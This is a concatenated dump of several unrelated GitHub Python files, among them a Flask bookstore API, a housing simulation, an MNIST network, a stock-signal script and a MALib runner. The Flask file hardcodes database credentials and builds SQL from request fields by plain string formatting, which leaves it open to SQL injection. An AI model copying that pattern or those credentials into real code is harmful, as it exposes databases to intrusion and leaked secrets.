debug=True)","repo_name":"LukasB3/Chatroom","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22941848066","text":"from flask import Flask, jsonify, request, Response, stream_with_context\r\nimport json\r\nfrom flaskext.mysql import MySQL\r\n\r\napp = Flask(__name__)\r\nmysql = MySQL()\r\napp.config['MYSQL_DATABASE_USER'] = 'sagar24'\r\napp.config['MYSQL_DATABASE_PASSWORD'] = 'NBRoot@00'\r\napp.config['MYSQL_DATABASE_DB'] = 'sagar24$bookstore'\r\napp.config['MYSQL_DATABASE_HOST'] = 'sagar24.mysql.pythonanywhere-services.com'\r\nmysql.init_app(app)\r\n\r\n\r\n@app.route(\"/get_books\", methods=['POST'])\r\ndef get_books():\r\n try:\r\n query = create_query(request.json)\r\n\r\n print('query :', query)\r\n\r\n with mysql.connect() as conn:\r\n cursor = conn.cursor()\r\n cursor.execute(query)\r\n # print('total rows :',cursor.rowcount)\r\n row_headers = [x[0] for x in cursor.description]\r\n\r\n def generate_rows():\r\n while cursor.rownumber < cursor.rowcount:\r\n rows = cursor.fetchmany(25)\r\n books = data_to_json(rows, row_headers)\r\n yield json.dumps({\"count\" : len(rows), \"books\":books})\r\n\r\n if cursor.rowcount > 25:\r\n return Response(stream_with_context(generate_rows()), mimetype='application/json')\r\n else:\r\n rows = cursor.fetchall()\r\n books = data_to_json(rows, row_headers)\r\n return jsonify({\"count\" : len(rows), \"books\":books})\r\n\r\n except Exception as exp:\r\n print(exp)\r\n\r\n\r\ndef data_to_json(rows, row_headers):\r\n books = []\r\n for row in rows:\r\n json_row = dict(zip(row_headers, row))\r\n json_row['genre'] = json_row['bookshelf']\r\n books.append(json_row)\r\n return books\r\n\r\ndef create_query(query_payload):\r\n query = f\"SELECT books_book.title as title, books_author.name as author_name, books_author.birth_year as birth_year, books_author.death_year as death_year, books_bookshelf.name as bookshelf, books_language.code as language_code, books_subject.name as subject, books_format.url as download_url\" \\\r\n f\" FROM books_book\" \\\r\n f\" INNER JOIN books_book_languages bbl ON books_book.id = bbl.book_id\" \\\r\n f\" INNER JOIN books_language ON books_language.id = bbl.language_id\" \\\r\n f\" INNER JOIN books_format ON books_book.id = books_format.book_id\" \\\r\n f\" INNER JOIN books_book_bookshelves bbb ON books_book.id = bbb.book_id\" \\\r\n f\" INNER JOIN books_bookshelf ON books_bookshelf.id = bbb.bookshelf_id\" \\\r\n f\" INNER JOIN books_book_subjects bbs ON books_book.id = bbs.book_id\" \\\r\n f\" INNER JOIN books_subject ON books_subject.id = bbs.subject_id\" \\\r\n f\" INNER JOIN books_book_authors bba ON books_book.id = bba.book_id\" \\\r\n f\" INNER JOIN books_author ON books_author.id = bba.author_id\"\r\n\r\n filters = []\r\n\r\n if 'gutenbergId' in query_payload and len(query_payload['gutenbergId']):\r\n gutenberg_ids = \",\".join([str(id) for id in query_payload['gutenbergId']])\r\n filters.append(f\" books_book.gutenberg_id in ({gutenberg_ids})\")\r\n\r\n if 'lang' in query_payload and len(query_payload['lang']):\r\n data = [f\"'{lang}'\" for lang in query_payload['lang']]\r\n languages = \",\".join(data)\r\n filters.append(f\" books_language.code in ({languages})\")\r\n\r\n if 'mimeType' in query_payload and len(query_payload['mimeType']):\r\n data = [f\"'{mime_type}'\" for mime_type in query_payload['mimeType']]\r\n mime_types = \",\".join(data)\r\n filters.append(f\" books_format.mime_type in ({mime_types})\")\r\n\r\n if 'topic' in query_payload and len(query_payload['topic']):\r\n topics = \" AND \".join([f\"(books_bookshelf.name LIKE '%{topic}%' OR books_subject.name LIKE '%{topic}%')\" for topic in query_payload['topic']])\r\n filters.append(topics)\r\n\r\n if 'author' in query_payload and len(query_payload['author']):\r\n authors = \" AND \".join([f\"books_author.name LIKE '%{author}%'\" for author in query_payload['author']])\r\n filters.append(authors)\r\n\r\n if 'title' in query_payload and len(query_payload['title']):\r\n titles = \" AND \".join([f\"books_book.title LIKE '%{title}%'\" for title in query_payload['title']])\r\n filters.append(titles)\r\n\r\n if filters:\r\n query += \" WHERE \" + (\" AND \".join(filters))\r\n\r\n query += \" ORDER BY books_book.download_count DESC\"\r\n\r\n print(\"final query: \", query)\r\n return query\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","repo_name":"sagar2409/project_library","sub_path":"main_app.py","file_name":"main_app.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11852398387","text":"\"\"\" Import statements \"\"\"\nfrom heapq import heappush, heappop\nfrom typing import List\n\nimport numpy as np\nimport random\n\nimport grid_view\nfrom event import Event\nfrom grid import Grid\nfrom prob_distributions import get_salary_prob, get_move_out_prob, get_monthly_total_costs_prob, \\\n get_percent_monthly_income\n\nGRID_ROWS = 15\nGRID_COLS = 15\nNUM_YEARS = 30\nNUM_THREADS = GRID_COLS * GRID_ROWS * 10\n\n\nclass Globals:\n \"\"\"Class to contain all the global variables that are passed to individual threads\"\"\"\n def __init__(self, fel_i, waiting_list_i, clock, threads, grid):\n \"\"\"\n :param fel_i: Future event list. Contains timestamp based events\n :param waiting_list_i: Waiting list. Contains all events waiting on predicates.\n :param clock: Global simulation time\n :param threads:\n :param grid:\n \"\"\"\n self.fel = fel_i\n self.wait_list = waiting_list_i\n self.clock = clock\n self.threads = threads\n self.grid = grid\n\n\n\"\"\" STATIC variables \"\"\"\n# Define all probability distributions\nsalary_data = get_salary_prob()\nmove_out_data = get_move_out_prob()\nmonthly_cost_data = get_monthly_total_costs_prob()\npercent_monthly_income_data = get_percent_monthly_income()\n\n\ndef schedule_event(event_i: Event, gl: Globals):\n \"\"\"\n Put event into future event list. Only called for starting the simulation\n :param gl: global variables object\n :param event_i: event to schedule\n \"\"\"\n heappush(gl.fel, event_i)\n gl.threads[event_i.process_id].next_event = event_i\n\n\ndef assign_first_available_house(person_i, first_house, gl: Globals):\n from grid import GridSquare\n \"\"\"\n Assign this person to the first available house\n :param first_house: optimization parameter to speed up initial assignment by not checking houses already assigned\n :param person_i: thread to be assigned to house\n :return True if the assignment was successful, false otherwise\n \"\"\"\n for m in range(first_house[0], gl.grid.grid.shape[0]):\n for k in range(gl.grid.grid.shape[1]):\n grid_square: GridSquare = gl.grid.grid[m][k]\n if grid_square.get_total_houses() - grid_square.get_occupied_houses() > 0:\n grid_square.movein(person_i)\n person_i.home_location = (m, k)\n pair = (m, k)\n if grid_square.get_total_houses() - grid_square.get_occupied_houses() == 0:\n if k == GRID_COLS:\n pair = (m + 1, 0)\n return True, pair\n return False, first_house\n\n\ndef initialize_persons(gl: Globals, num_threads=20000):\n \"\"\"\n Instantiates num_threads amount of Person objects with \"random\" housing and schedules move out events for them\n Important note: the assigning of individuals may fail. In this case individuals who cannot afford any houses that\n remain will be assigned to location (-1, -1), and they will be put on the waiting list with a move in event\n scheduled.\n :param gl: global variables object\n :param num_threads: amount of Persons to generate\n \"\"\"\n # first house is the optimization parameter. It keeps track of where we are in the array so we don't have to check\n # places we've already assigned\n from person import Person\n first_house = (0, 0)\n for ii in range(num_threads):\n gl.threads.append(Person(None, ii, (-1, -1), gl))\n assigned, first_house = assign_first_available_house(gl.threads[ii], first_house, gl)\n if assigned:\n years = Person.sample_move_out_distribution(0)\n t_i = gl.clock + years\n event_i = Event(t_i, ii, Person.move_out_event, True, 0)\n schedule_event(event_i, gl)\n else:\n schedule_event(Event(gl.clock + random.randint(0, 2), ii, Person.move_in_event, True, 1), gl)\n gl.threads[ii].next_event = None\n gl.threads[ii].start()\n ts = sorted(gl.threads, key=lambda x: x.income)\n for help_i in range(int(NUM_THREADS * 0.12)):\n ts[help_i].price_point += 600\n\n\ndef sim_snapshot(new_year, graph_data, gl: Globals, frequency=600):\n \"\"\"\n Take a data snapshot of the simulation if the mod of the counter and the frequency is zero\n :param gl: global variables object\n :param graph_data: array for visualization in grid_view\n :param new_year: boolean if it's a new year\n :param frequency: how often to take a snapshot\n \"\"\"\n if new_year:\n arr_num_people = np.zeros((GRID_ROWS, GRID_COLS))\n arr_money = np.zeros((GRID_ROWS, GRID_COLS))\n arr_house_price = np.zeros((GRID_ROWS, GRID_COLS))\n for person_i in gl.threads:\n if person_i.home_location[0] != -1:\n loc = person_i.home_location\n arr_money[loc[0]][loc[1]] = person_i.income\n for ri in range(GRID_ROWS):\n for rj in range(GRID_COLS):\n arr_num_people[ri, rj] = gl.grid.get_grid_square(ri, rj).get_occupied_houses()\n for ri in range(GRID_ROWS):\n for rj in range(GRID_COLS):\n arr_house_price[ri, rj] = gl.grid.get_grid_square(ri, rj).get_price()\n graph_data.append((arr_money, arr_num_people, arr_house_price))\n print(\"simulation snapshot recorded\")\n\n\ndef get_average_disparity(gl: Globals):\n \"\"\"\n Function to return average disparity among all squares on the grid. The average income from the square is compared\n with that of all of its immediate neighbors. Some index checking is performed to ensure that there is no indexing\n out of bounds\n :return: average difference in income between a square and its neighbors\n \"\"\"\n from grid import GridSquare\n aggregate = 0\n count = 0\n max_row, max_col = gl.grid.grid.shape\n for iii in range(max_row):\n for jjj in range(max_col):\n neighbors: List[GridSquare] = []\n if iii > 0 and len(gl.grid.get_grid_square(iii-1, jjj).threads) != 0:\n neighbors.append(gl.grid.get_grid_square(iii - 1, jjj))\n if jjj > 0 and len(gl.grid.get_grid_square(iii, jjj-1).threads) != 0:\n neighbors.append(gl.grid.get_grid_square(iii, jjj - 1))\n if iii < max_row - 1 and len(gl.grid.get_grid_square(iii+1, jjj).threads) != 0:\n neighbors.append(gl.grid.get_grid_square(iii + 1, jjj))\n if jjj < max_col - 1 and len(gl.grid.get_grid_square(iii, jjj + 1).threads) != 0:\n neighbors.append(gl.grid.get_grid_square(iii, jjj + 1))\n\n sq_d: GridSquare = gl.grid.get_grid_square(iii, jjj)\n agg_local = 0\n for n in neighbors:\n agg_local += np.abs((sq_d.get_average_income() - n.get_average_income()))\n if len(neighbors) != 0:\n agg_local /= len(neighbors)\n aggregate += agg_local\n count += 1\n return aggregate/count\n\n\ndef add_new_center(gl: Globals, center_type: str):\n min_sq = (0, 0)\n min_price = 3000\n for row in gl.grid.grid:\n for sq in row:\n if sq.get_price() <= min_price:\n min_sq = sq.get_location()\n min_price = sq.get_price()\n\n if center_type == \"education\":\n gl.grid.make_education_center((1,), (min_sq,), )\n if center_type == \"business\":\n gl.grid.make_businesses((1, ), (min_sq,))\n if center_type ==\"crime\":\n del gl.grid.get_crime_centers()[0]\n\n\ndef main_sim_loop(business_center, education_center, crime_centers, input_year, type_event):\n from person import Person\n gl = Globals([], [], 0, [], Grid(GRID_ROWS, GRID_COLS, business_locations=business_center,\n education_centers=education_center, crime_centers=crime_centers))\n graph_data = []\n initialize_persons(gl, num_threads=NUM_THREADS)\n # print the starting average disparity\n # print(get_average_disparity(gl))\n disparities = [(0, get_average_disparity(gl))]\n new_year = True\n input_year_passed = False\n while gl.clock <= NUM_YEARS:\n if not input_year_passed and input_year <= gl.clock:\n add_new_center(gl, type_event)\n input_year_passed = True\n if new_year:\n gl.grid.update_grid_prices()\n # if the clock has gone up a year, get a disparity reading\n if disparities[-1][0] != gl.clock:\n disparities += [(gl.clock, get_average_disparity(gl))]\n print(\"Average disparity at year \" + str(gl.clock) + \": \" + str(disparities[-1][1]))\n # Attempt to record a snapshot of the simulation\n sim_snapshot(new_year, graph_data, gl)\n new_year = False\n try:\n event: Event or None = heappop(gl.fel)\n except IndexError as _:\n event = None\n # If there are still events in the future event list\n if event is not None:\n # Threaded events (Person)\n if event.is_thread and event.type == 0:\n previous_clock = gl.clock\n gl.clock = event.time_stamp\n if previous_clock != gl.clock:\n print(\"Advance simulation time 1 year\")\n new_year = True\n else:\n new_year = False\n person: Person = gl.threads[event.process_id]\n person.next_event = event\n person.run()\n # Wait for thread to finish to ensure there is no concurrency\n person.join()\n elif event.is_thread and event.type == 1:\n gl.wait_list.append(event)\n # Loop through the Persons waiting on the waiting list. Check their predicate. If true, run the event\n for i in range(len(gl.wait_list) - 1, -1, -1):\n event = gl.wait_list[i]\n sq, _, _ = gl.grid.find_appropriate_housing(gl.threads[event.process_id])\n if sq is not None:\n print(\"appropriate housing found, removing person \" + str(event.process_id) + \" from the waiting list\")\n del gl.wait_list[i]\n t = gl.threads[event.process_id]\n t.next_event = event\n t.run()\n t.join()\n # print the ending average disparity\n # print(get_average_disparity(gl))\n print(\"Years = \" + str(gl.clock))\n print(disparities)\n # grid_view.plot_warm_up(disparities)\n # grid_view.main(graph_data, gl.grid)\n print(\"Simulation ended\")\n return disparities[-1][1]\n\n\nif __name__ == \"__main__\":\n # import statements to avoid circular imports\n main_sim_loop(business_center=((9, 9),), education_center=((8, 8),),\n crime_centers=((7, 7),), input_year=100, type_event=\"\")\n","repo_name":"michaelxiao16/CX4230_Project1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"28515848258","text":"import numpy as np\nfrom tensorflow.python.keras.datasets import mnist\nimport copy\nimport matplotlib.pyplot as plt\n\ndata = mnist\n(x_train, y_train),(x_test, y_test) = data.load_data()\nx_train, x_test = x_train / 255.0, x_test / 255.0\n\n\nclass ReLuNN:\n def __init__(self):\n self.alpha = 0.001\n self.beta_1 = 0.9\n self.beta_2 = 0.999\n self.eps = 10 ** (-8)\n self.w_0 = None\n self.w_1 = None\n self.w_2 = None\n\n self.b_0 = None\n self.b_1 = None\n self.b_2 = None\n\n self.training_error = None\n self.training_score = None\n self.training_accuracy_score = None\n\n self.evaluation_error = None\n self.evaluation_score = None\n self.evaluation_accuracy_score = None\n self.classification_matrix = None\n self.confusion_matrix = None\n\n def relu_layer(self, in_layer, w, b):\n n = np.maximum(0, b + w.dot(in_layer))\n return n\n\n def softmax_layer(self, in_layer, w, b):\n n = np.exp(b + w.dot(in_layer)) / np.sum(np.exp(b + w.dot(in_layer)), axis=0)\n return n\n\n def cross_entropy(self, y_t, y_p):\n return -np.sum(y_t * np.log(y_p))\n\n def training(self, x_train, y_train, repetitions):\n input_size = x_train[0].shape[0] * x_train[0].shape[1]\n y_length = len(y_train)\n\n # He-et-al Initialisation\n b_0 = np.zeros((16, 1))\n b_1 = np.zeros((16, 1))\n b_2 = np.zeros((10, 1))\n\n w_0 = np.random.randn(16, input_size) * np.sqrt(2 / input_size)\n w_1 = np.random.randn(16, 16) * np.sqrt(2 / 16)\n w_2 = np.random.randn(10, 16) * np.sqrt(2 / 16)\n\n # Initialise Moments\n mb_0, mb_0_p, vb_0, vb_0_p = (np.zeros((16, 1)) for i in range(4))\n mb_1, mb_1_p, vb_1, vb_1_p = (np.zeros((16, 1)) for i in range(4))\n mb_2, mb_2_p, vb_2, vb_2_p = (np.zeros((10, 1)) for i in range(4))\n\n mw_0, mw_0_p, vw_0, vw_0_p = (np.zeros((16, input_size)) for i in range(4))\n mw_1, mw_1_p, vw_1, vw_1_p = (np.zeros((16, 16)) for i in range(4))\n mw_2, mw_2_p, vw_2, vw_2_p = (np.zeros((10, 16)) for i in range(4))\n\n index_i = np.arange(len(x_train))\n self.training_error = []\n self.training_score = []\n self.training_accuracy_score = []\n t = 0\n\n for rep in range(repetitions):\n np.random.shuffle(index_i)\n\n for i in range(y_length):\n y = np.zeros((10, 1))\n y[y_train[i]] = 1\n input_layer = np.expand_dims(np.array(x_train[i]).flatten(), axis=1)\n\n first_layer = self.relu_layer(input_layer, w_0, b_0)\n second_layer = self.relu_layer(first_layer, w_1, b_1)\n out_layer = self.softmax_layer(second_layer, w_2, b_2)\n\n error = self.cross_entropy(y, out_layer)\n self.training_error.append(error)\n\n if np.argmax(y) == np.argmax(out_layer):\n self.training_score.append(0)\n else:\n self.training_score.append(1)\n self.training_accuracy_score.append(sum(self.training_score) / len(self.training_score))\n\n t += 1\n if t / (repetitions * y_length) * 100 % 2 == 0:\n print('%', int(t / (repetitions * y_length) * 100))\n\n # Get Gradients\n gb_2 = (out_layer - y)\n gw_2 = (out_layer - y).dot(second_layer.T)\n\n gb_1 = (out_layer - y).T.dot(w_2).T\n gw_1 = ((first_layer.dot((out_layer - y).T)).dot(w_2)).T\n\n gb_0 = (out_layer - y).T.dot(w_2.dot(w_1)).T\n gw_0 = ((input_layer.dot((out_layer - y).T)).dot(w_2.dot(w_1))).T\n\n # Update first Moments\n mb_0 = self.beta_1 * mb_0_p + (1 - self.beta_1) * gb_0\n mb_1 = self.beta_1 * mb_1_p + (1 - self.beta_1) * gb_1\n mb_2 = self.beta_1 * mb_2_p + (1 - self.beta_1) * gb_2\n\n mw_0 = self.beta_1 * mw_0_p + (1 - self.beta_1) * gw_0\n mw_1 = self.beta_1 * mw_1_p + (1 - self.beta_1) * gw_1\n mw_2 = self.beta_1 * mw_2_p + (1 - self.beta_1) * gw_2\n\n # Update second Moments\n vb_0 = self.beta_2 * vb_0_p + (1 - self.beta_2) * (gb_0 ** 2)\n vb_1 = self.beta_2 * vb_1_p + (1 - self.beta_2) * (gb_1 ** 2)\n vb_2 = self.beta_2 * vb_2_p + (1 - self.beta_2) * (gb_2 ** 2)\n\n vw_0 = self.beta_2 * vw_0_p + (1 - self.beta_2) * (gw_0 ** 2)\n vw_1 = self.beta_2 * vw_1_p + (1 - self.beta_2) * (gw_1 ** 2)\n vw_2 = self.beta_2 * vw_2_p + (1 - self.beta_2) * (gw_2 ** 2)\n\n # Unbiased first Moments\n mb_0_hat = mb_0 / (1 - self.beta_1 ** t)\n mb_1_hat = mb_1 / (1 - self.beta_1 ** t)\n mb_2_hat = mb_2 / (1 - self.beta_1 ** t)\n\n mw_0_hat = mw_0 / (1 - self.beta_1 ** t)\n mw_1_hat = mw_1 / (1 - self.beta_1 ** t)\n mw_2_hat = mw_2 / (1 - self.beta_1 ** t)\n\n # Unbiased second Moments\n vb_0_hat = vb_0 / (1 - self.beta_2 ** t)\n vb_1_hat = vb_1 / (1 - self.beta_2 ** t)\n vb_2_hat = vb_2 / (1 - self.beta_2 ** t)\n\n vw_0_hat = vw_0 / (1 - self.beta_2 ** t)\n vw_1_hat = vw_1 / (1 - self.beta_2 ** t)\n vw_2_hat = vw_2 / (1 - self.beta_2 ** t)\n\n # Update Parameter\n nb_0 = b_0 - (self.alpha * mb_0_hat) / (np.sqrt(vb_0_hat) + self.eps)\n nb_1 = b_1 - (self.alpha * mb_1_hat) / (np.sqrt(vb_1_hat) + self.eps)\n nb_2 = b_2 - (self.alpha * mb_2_hat) / (np.sqrt(vb_2_hat) + self.eps)\n\n nw_0 = w_0 - (self.alpha * mw_0_hat) / (np.sqrt(vw_0_hat) + self.eps)\n nw_1 = w_1 - (self.alpha * mw_1_hat) / (np.sqrt(vw_1_hat) + self.eps)\n nw_2 = w_2 - (self.alpha * mw_2_hat) / (np.sqrt(vw_2_hat) + self.eps)\n\n b_0, b_1, b_2 = nb_0, nb_1, nb_2\n w_0, w_1, w_2 = nw_0, nw_1, nw_2\n\n # Update t-1 Moments\n mb_0_p, mb_1_p, mb_2_p = mb_0, mb_1, mb_2\n mw_0_p, mw_1_p, mw_2_p = mw_0, mw_1, mw_2\n vb_0_p, vb_1_p, vb_2_p = vb_0, vb_1, vb_2\n vw_0_p, vw_1_p, vw_2_p = vw_0, vw_1, vw_2\n\n self.b_0, self.b_1, self.b_2 = b_0, b_1, b_2\n self.w_0, self.w_1, self.w_2 = w_0, w_1, w_2\n\n def evaluation(self, x_test, y_test):\n self.evaluation_error = []\n self.evaluation_score = []\n self.evaluation_accuracy_score = []\n self.classification_matrix = np.zeros((10, 10))\n\n b_0, b_1, b_2 = self.b_0, self.b_1, self.b_2\n w_0, w_1, w_2 = self.w_0, self.w_1, self.w_2\n\n for i in range(len(y_test)):\n y = np.zeros((10, 1))\n y[y_test[i]] = 1\n input_layer = np.expand_dims(np.array(x_test[i]).flatten(), axis=1)\n\n first_layer = self.relu_layer(input_layer, w_0, b_0)\n second_layer = self.relu_layer(first_layer, w_1, b_1)\n out_layer = self.softmax_layer(second_layer, w_2, b_2)\n\n error = self.cross_entropy(y, out_layer)\n self.evaluation_error.append(error)\n y_true, y_pred = np.argmax(y), np.argmax(out_layer)\n\n if y_true == y_pred:\n self.evaluation_score.append(0)\n else:\n self.evaluation_score.append(1)\n\n self.evaluation_accuracy_score.append(sum(self.evaluation_score) / len(self.evaluation_score))\n self.classification_matrix[y_true, y_pred] += 1\n\n am_sum = np.sum(self.classification_matrix, axis=1)\n self.confusion_matrix = self.classification_matrix / am_sum[:, None]\n\n def confusion(self):\n fig, ax = plt.subplots()\n im = ax.imshow(self.confusion_matrix, cmap='Blues')\n\n # Show all ticks\n ax.set_xticks(np.arange(10))\n ax.set_yticks(np.arange(10))\n ax.xaxis.tick_top()\n\n # Loop over data dimensions\n for i in range(10):\n for j in range(10):\n if i == j:\n text = ax.text(j, i, np.around(self.confusion_matrix, decimals=3)[i, j], ha=\"center\", va=\"center\", color=\"w\")\n else:\n text = ax.text(j, i, np.around(self.confusion_matrix, decimals=3)[i, j], ha=\"center\", va=\"center\", color=\"k\")\n\n plt.show()\n\n def classify(self, input_image):\n input_layer = np.expand_dims(np.array(input_image).flatten(), axis=1)\n first_layer = self.relu_layer(input_layer, self.w_0, self.b_0)\n second_layer = self.relu_layer(first_layer, self.w_1, self.b_1)\n out_layer = self.softmax_layer(second_layer, self.w_2, self.b_2)\n\n print(np.argmax(out_layer))\n\n\ntest = ReLuNN()\ntest.training(x_train, y_train, 1)\n","repo_name":"LeaKata/first-nn","sub_path":"relu_nn_adam.py","file_name":"relu_nn_adam.py","file_ext":"py","file_size_in_byte":8998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73600323867","text":"# 导入相关库\nimport pandas as pd\nimport numpy as np\nimport talib as ta\nimport tushare as ts\n\n# 设置参数\nN = 20 # 布林线中轨的移动平均周期\nM = 2 # 布林线上下轨的标准差倍数\nD = 3 # 突破中轨的持续天数\nK = 5 # 5日均线\n\n# 获取股票数据\nstock_code = '300364' # 贵州茅台\nstart_date = '2021-01-01'\nend_date = '2022-12-31'\ndf = ts.get_k_data(stock_code, start_date, end_date)\n\n# 计算布林线指标\ndf['MA'] = ta.MA(df['close'], N) # 中轨\ndf['STD'] = ta.STDDEV(df['close'], N) # 标准差\ndf['UPPER'] = df['MA'] + M * df['STD'] # 上轨\ndf['LOWER'] = df['MA'] - M * df['STD'] # 下轨\n\n# 计算5日均线\ndf['MA5'] = ta.MA(df['close'], K)\n\n# 定义突破中轨的信号\ndf['BREAK'] = np.where((df['close'] > df['MA']) & (df['close'].shift(1) < df['MA'].shift(1)), 1, 0)\n\n# 定义持续突破中轨的信号\ndf['CONTINUE'] = df['BREAK']\nfor i in range(1, D):\n df['CONTINUE'] += df['BREAK'].shift(i)\n\n# 定义站上5日均线的信号\ndf['ABOVE'] = np.where(df['close'] > df['MA5'], 1, 0)\n\n# 定义买入信号\ndf['BUY'] = np.where((df['CONTINUE'] == D) & (df['ABOVE'] == 1), 1, 0)\n\n# 筛选出买入信号发出的日期和股价\nbuy_df = df[df['BUY'] == 1][['date', 'close']]\nbuy_df.columns = ['买入日期', '买入价格']\n\n# 打印结果\nprint('基于布林线的股票策略')\nprint('股票代码:', stock_code)\nprint('回测区间:', start_date, '-', end_date)\nprint('买入信号:')\nprint(buy_df)\n","repo_name":"iawes/python-crawler","sub_path":"stock_1.py","file_name":"stock_1.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3859039259","text":"\"\"\"\nrunner.py\n\n@Organization: \n@Author: Ming Zhou\n@Time: 2/18/21 8:39 PM\n@Function:\n\"\"\"\n\nimport copy\nimport signal\nimport pprint\nimport threading\nimport time\nimport traceback\nfrom typing import Dict, Any, List\n\nimport ray\n\nfrom malib import settings\nfrom malib.utils.logger import get_logger, Log\nfrom malib.utils.configs.formatter import DefaultConfigFormatter\nfrom malib.utils.convert import get_head_node_ip\nfrom malib.rpc.ExperimentManager.ExperimentServer import start_logging_server\n\nWAIT_FOR_READY_THRESHOLD = 10\nlogger_server = None\n\n\ndef update_configs(update_dict, ori_dict=None):\n \"\"\"Update global configs with\"\"\"\n ori_configs = (\n copy.copy(ori_dict)\n if ori_dict is not None\n else copy.copy(settings.DEFAULT_CONFIG)\n )\n for k, v in update_dict.items():\n # assert k in ori_configs, f\"Illegal key: {k}, {list(ori_configs.keys())}\"\n if isinstance(v, dict):\n ph = ori_configs[k] if isinstance(ori_configs.get(k), dict) else {}\n ori_configs[k] = update_configs(v, ph)\n else:\n ori_configs[k] = copy.copy(v)\n return ori_configs\n\n\ndef _exit_handler(sig, frame):\n raise SystemExit\n\n\ndef _terminate(recycle_funcs: List[Dict[str, Any]], waiting: bool = True):\n background_recycle_threads = []\n for call in recycle_funcs:\n background_recycle_threads.append(\n threading.Thread(target=call[\"func\"], args=call[\"args\"])\n )\n for thread in background_recycle_threads:\n thread.start()\n if waiting:\n for thread in background_recycle_threads:\n thread.join()\n print(\"Background recycling thread ended.\")\n\n\ndef start_logger(exp_cfg, enable_tensorboard_backend, exp_infos=None):\n if enable_tensorboard_backend:\n global logger_server\n server_address = \"[::]\"\n server_port = settings.REMOTE_PORT or 12333\n logger_server = start_logging_server(\n port=f\"{server_address}:{server_port}\", logdir=settings.LOG_DIR\n )\n logger_server.start()\n\n # wait for the logging server to be ready\n _wait_for_ready_start_time = time.time()\n while True:\n try:\n if settings.USE_REMOTE_LOGGER:\n if settings.USE_MONGO_LOGGER:\n server_address = settings.MONGO_IP_ADDRESS or get_head_node_ip()\n server_port = settings.MONGO_PORT or 27017\n else:\n server_address = settings.REMOTE_IP_ADDRESS or get_head_node_ip()\n server_port = settings.REMOTE_PORT or 12333\n print(server_address, server_port)\n logger = get_logger(\n name=\"runner\",\n remote=settings.USE_REMOTE_LOGGER,\n mongo=settings.USE_MONGO_LOGGER,\n host=server_address,\n port=server_port,\n info=exp_infos,\n **exp_cfg,\n )\n logger.info(\"Wait for server ready\", wait_for_ready=True)\n return logger\n except Exception as e:\n if time.time() - _wait_for_ready_start_time > WAIT_FOR_READY_THRESHOLD:\n raise RuntimeError(\n \"Wait time exceed threshold, \"\n \"task cancelled, \"\n \"cannot connect to logging server, \"\n \"please check the network availability!\"\n )\n time.sleep(1)\n\n\ndef terminate_logger():\n global logger_server\n logger_server.terminate()\n\n\ndef run(**kwargs):\n config = locals()[\"kwargs\"]\n global_configs = update_configs(config)\n\n if global_configs[\"training\"][\"interface\"].get(\"worker_config\") is None:\n global_configs[\"training\"][\"interface\"][\"worker_config\"] = {\n \"num_cpus\": None,\n \"num_gpus\": None,\n \"memory\": None,\n \"object_store_memory\": None,\n \"resources\": None,\n }\n if settings.USE_REMOTE_LOGGER and settings.USE_REMOTE_LOGGER:\n infos = DefaultConfigFormatter.parse(global_configs, filter=True)\n print(f\"Logged experiment information:{pprint.pformat(infos)}\")\n else:\n infos = {}\n\n exp_cfg = {\n \"expr_group\": global_configs.get(\"group\", \"experiment\"),\n \"expr_name\": f\"{global_configs.get('name', 'case')}_{time.time()}\",\n }\n\n ray.init(address=None, local_mode=False)\n resources = ray.available_resources()\n print(\"Total resources:\", resources)\n\n try:\n signal.signal(signal.SIGTERM, _exit_handler)\n from malib.backend.coordinator.server import CoordinatorServer\n from malib.backend.datapool.offline_dataset_server import OfflineDataset\n from malib.backend.datapool.parameter_server import ParameterServer\n\n # def run_coordinator_server(coordinator_server_configs):\n logger = start_logger(\n exp_cfg,\n enable_tensorboard_backend=settings.USE_REMOTE_LOGGER\n and not settings.USE_MONGO_LOGGER,\n exp_infos=infos,\n )\n\n offline_dataset = OfflineDataset.options(\n name=settings.OFFLINE_DATASET_ACTOR, max_concurrency=100\n ).remote(global_configs[\"dataset_config\"], exp_cfg)\n parameter_server = ParameterServer.options(\n name=settings.PARAMETER_SERVER_ACTOR, max_concurrency=1000\n ).remote(exp_cfg=exp_cfg, **global_configs[\"parameter_server\"])\n\n coordinator_server = CoordinatorServer.options(\n name=settings.COORDINATOR_SERVER_ACTOR, max_concurrency=100\n ).remote(exp_cfg=exp_cfg, **global_configs)\n _ = ray.get(coordinator_server.start.remote())\n\n with Log.timer(log=settings.PROFILING, logger=logger):\n while True:\n terminate = ray.get(coordinator_server.is_terminate.remote())\n if terminate:\n print(\"ALL task done\")\n break\n else:\n time.sleep(1)\n _terminate(\n [{\"func\": ray.shutdown, \"args\": tuple()}]\n + (\n [{\"func\": logger_server.terminate, \"args\": tuple()}]\n if logger_server\n else []\n ),\n waiting=True,\n )\n except (KeyboardInterrupt, SystemExit) as e:\n print(\n \"KeyboardInterrupt or fatal error detected, start background resources recycling threads ...\"\n )\n _terminate(\n [\n {\"func\": ray.shutdown, \"args\": tuple()},\n {\"func\": offline_dataset.shutdown.remote, \"args\": ()},\n {\"func\": parameter_server.shutdown.remote, \"args\": ()},\n ]\n + (\n [{\"func\": logger_server.terminate, \"args\": tuple()}]\n if logger_server\n else []\n ),\n waiting=False,\n )\n","repo_name":"ReinholdM/play_football_with_ai","sub_path":"malib/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"42070720423","text":"import os.path\n\nfrom qgis.PyQt import uic\nfrom qgis.PyQt.QtWidgets import QDialog\n\nFORM_CLASS, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'network_transformer_dialog_base.ui'))\n\n\nclass NetworkTransformerDialog(QDialog, FORM_CLASS):\n\n ############################ initialisation 